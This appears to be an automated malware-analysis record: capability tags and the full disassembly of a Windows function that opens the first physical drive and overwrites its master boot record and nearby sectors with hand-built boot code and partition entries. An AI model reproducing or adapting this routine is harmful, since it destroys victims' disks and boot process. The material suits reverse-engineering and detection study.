Function at 0x40152a
Capabilities:
Contain obfuscated stackstrings
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc3c
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0xc0000000
mov dword [esp], str..PhysicalDrive0
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffff
jne 0x4015af
mov dword [esp + 4], 0x48a013
mov dword [esp], 0x489200
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov eax, 1
jmp 0x401db4
mov dword [ebp - 0x24], 0x200
lea edx, [ebp - 0xc28]
mov eax, 0
mov ecx, pe_nt_image_headers32
mov edi, edx
rep stosd dword es:[edi], eax
lea edx, [ebp - 0xa28]
mov eax, 0
mov ecx, pe_nt_image_headers32
mov edi, edx
rep stosd dword es:[edi], eax
mov byte [ebp - 0xa28], 0xea
mov byte [ebp - 0xa27], 5
mov byte [ebp - 0xa26], 0x7c
mov byte [ebp - 0xa23], 0xfa
mov byte [ebp - 0xa22], 0x31
mov byte [ebp - 0xa21], 0xc0
mov byte [ebp - 0xa20], 0x8e
mov byte [ebp - 0xa1f], 0xd0
mov byte [ebp - 0xa1e], 0xbc
mov byte [ebp - 0xa1d], 0xf0
mov byte [ebp - 0xa1c], 0x7b
mov byte [ebp - 0xa1b], 0xfb
mov byte [ebp - 0xa1a], 0xbb
mov byte [ebp - 0xa18], 0x10
mov byte [ebp - 0xa17], 0x8e
mov byte [ebp - 0xa16], 0xc3
mov byte [ebp - 0xa15], 0xb8
mov byte [ebp - 0xa14], 8
mov byte [ebp - 0xa13], 2
mov byte [ebp - 0xa12], 0xb9
mov byte [ebp - 0xa11], 2
mov byte [ebp - 0xa0f], 0xb6
mov byte [ebp - 0xa0d], 0x31
mov byte [ebp - 0xa0c], 0xdb
mov byte [ebp - 0xa0b], 0xcd
mov byte [ebp - 0xa0a], 0x13
mov byte [ebp - 0xa09], 6
mov byte [ebp - 0xa08], 0x1f
mov byte [ebp - 0xa07], 0xb8
mov byte [ebp - 0xa05], 0x20
mov byte [ebp - 0xa04], 0x8e
mov byte [ebp - 0xa03], 0xc0
mov byte [ebp - 0xa02], 0x31
mov byte [ebp - 0xa01], 0xc0
mov byte [ebp - 0xa00], 0x89
mov byte [ebp - 0x9ff], 0xc3
mov byte [ebp - 0x9fe], 0x89
mov byte [ebp - 0x9fd], 0xc1
mov byte [ebp - 0x9fc], 0x89
mov byte [ebp - 0x9fb], 0xc2
mov byte [ebp - 0x9fa], 0x89
mov byte [ebp - 0x9f9], 0xc7
mov byte [ebp - 0x9f8], 0x89
mov byte [ebp - 0x9f7], 0xc6
mov byte [ebp - 0x9f6], 0xac
mov byte [ebp - 0x9f5], 0x81
mov byte [ebp - 0x9f4], 0xfe
mov byte [ebp - 0x9f3], 0x1e
mov byte [ebp - 0x9f2], 0xb
mov byte [ebp - 0x9f1], 0x73
mov byte [ebp - 0x9f0], 0x2f
mov byte [ebp - 0x9ef], 0x3c
mov byte [ebp - 0x9ee], pe_nt_image_headers32
mov byte [ebp - 0x9ed], 0x73
mov byte [ebp - 0x9ec], 2
mov byte [ebp - 0x9eb], 0xeb
mov byte [ebp - 0x9ea], 0xf
mov byte [ebp - 0x9e9], 0x24
mov byte [ebp - 0x9e8], 0x7f
mov byte [ebp - 0x9e7], 0x88
mov byte [ebp - 0x9e6], 0xc1
mov byte [ebp - 0x9e5], 0xac
mov byte [ebp - 0x9e4], 0xaa
mov byte [ebp - 0x9e3], 0xfe
mov byte [ebp - 0x9e2], 0xc9
mov byte [ebp - 0x9e1], pe_nt_image_headers32
mov byte [ebp - 0x9e0], 0xf9
mov byte [ebp - 0x9df], 0xff
mov byte [ebp - 0x9de], 0x75
mov byte [ebp - 0x9dd], 0xf7
mov byte [ebp - 0x9dc], 0xeb
mov byte [ebp - 0x9db], 0xe4
mov byte [ebp - 0x9da], 0x88
mov byte [ebp - 0x9d9], 0xc4
mov byte [ebp - 0x9d8], 0xac
mov byte [ebp - 0x9d7], 0x89
mov byte [ebp - 0x9d6], 0xc3
mov byte [ebp - 0x9d5], 0xac
mov byte [ebp - 0x9d4], 0x1e
mov byte [ebp - 0x9d3], 0x68
mov byte [ebp - 0x9d1], 0x20
mov byte [ebp - 0x9d0], 0x1f
mov byte [ebp - 0x9cf], 0x89
mov byte [ebp - 0x9ce], 0xf2
mov byte [ebp - 0x9cd], 0x89
mov byte [ebp - 0x9cc], 0xde
mov byte [ebp - 0x9cb], 0x88
mov byte [ebp - 0x9ca], 0xc1
mov byte [ebp - 0x9c9], 0xac
mov byte [ebp - 0x9c8], 0xaa
mov byte [ebp - 0x9c7], 0xe2
mov byte [ebp - 0x9c6], 0xfc
mov byte [ebp - 0x9c5], 0x89
mov byte [ebp - 0x9c4], 0xd6
mov byte [ebp - 0x9c3], 0x1f
mov byte [ebp - 0x9c2], 0xeb
mov byte [ebp - 0x9c1], 0xca
mov byte [ebp - 0x9c0], 0xb8
mov byte [ebp - 0x9be], 0x20
mov byte [ebp - 0x9bd], 0x8e
mov byte [ebp - 0x9bc], 0xd8
mov byte [ebp - 0x9bb], 0x8e
mov byte [ebp - 0x9ba], 0xc0
mov byte [ebp - 0x9b9], 0xea
mov byte [ebp - 0x9b5], 0x20
mov byte [ebp - 0x869], 0xfe
mov byte [ebp - 0x868], 0xff
mov byte [ebp - 0x867], 0xff
mov byte [ebp - 0x866], 5
mov byte [ebp - 0x865], 0xfe
mov byte [ebp - 0x864], 0xff
mov byte [ebp - 0x863], 0xff
mov byte [ebp - 0x861], 4
mov byte [ebp - 0x85d], 0xf0
mov byte [ebp - 0x85c], 0x25
mov byte [ebp - 0x82a], 0x55
mov byte [ebp - 0x829], 0xaa
lea eax, [ebp - 0x828]
mov ebx, 0x483040
mov edx, pe_nt_image_headers32
mov edi, eax
mov esi, ebx
mov ecx, edx
rep movsd dword es:[edi], dword [esi]
lea edx, [ebp - 0x628]
mov eax, 0
mov ecx, pe_nt_image_headers32
mov edi, edx
rep stosd dword es:[edi], eax
mov byte [ebp - 0x469], 0xfe
mov byte [ebp - 0x468], 0xff
mov byte [ebp - 0x467], 0xff
mov byte [ebp - 0x466], 7
mov byte [ebp - 0x465], 0xfe
mov byte [ebp - 0x464], 0xff
mov byte [ebp - 0x463], 0xff
mov byte [ebp - 0x462], 0xff
mov byte [ebp - 0x461], 3
mov byte [ebp - 0x45d], 0x58
mov byte [ebp - 0x45c], 0x15
mov byte [ebp - 0x459], 0xfe
mov byte [ebp - 0x458], 0xff
mov byte [ebp - 0x457], 0xff
mov byte [ebp - 0x456], 5
mov byte [ebp - 0x455], 0xfe
mov byte [ebp - 0x454], 0xff
mov byte [ebp - 0x453], 0xff
mov byte [ebp - 0x44d], 0xf0
mov byte [ebp - 0x44c], 0x25
mov byte [ebp - 0x42a], 0x55
mov byte [ebp - 0x429], 0x11
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetFilePointer]
call eax
sub esp, 0x10
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x28]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 8], eax
lea eax, [ebp - 0xa28]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x401a77
mov dword [esp + 4], 0x48a020
mov dword [esp], 0x489200
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 1
jmp 0x401db4
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x28]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 8], eax
lea eax, [ebp - 0x828]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x401aef
mov dword [esp + 4], 0x48a020
mov dword [esp], 0x489200
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 1
jmp 0x401db4
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x28]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 8], eax
lea eax, [ebp - 0x628]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x401b67
mov dword [esp + 4], 0x48a020
mov dword [esp], 0x489200
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 1
jmp 0x401db4
mov dword [ebp - 0x1c], 5
jmp 0x401c1a
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x24]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetFilePointer]
call eax
sub esp, 0x10
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x28]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 8], eax
lea eax, [ebp - 0xc28]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x401c16
mov dword [esp + 4], 0x48a020
mov dword [esp], 0x489200
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 1
jmp 0x401db4
add dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 5
jbe 0x401b73
lea edx, [ebp - 0x428]
mov eax, 0
mov ecx, pe_nt_image_headers32
mov edi, edx
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x24]
shl eax, 0xa
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetFilePointer]
call eax
sub esp, 0x10
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x28]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 8], eax
lea eax, [ebp - 0x428]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x401cda
mov dword [esp + 4], 0x48a020
mov dword [esp], 0x489200
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 1
jmp 0x401db4
lea edx, [ebp - 0x228]
mov eax, 0
mov ecx, pe_nt_image_headers32
mov edi, edx
rep stosd dword es:[edi], eax
mov byte [ebp - 0x228], 1
mov byte [ebp - 0x227], 1
mov edx, dword [ebp - 0x24]
mov eax, edx
shl eax, 0xb
sub eax, edx
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetFilePointer]
call eax
sub esp, 0x10
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x28]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 8], eax
lea eax, [ebp - 0x228]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x401d9f
mov dword [esp + 4], 0x48a020
mov dword [esp], 0x489200
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 1
jmp 0x401db4
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret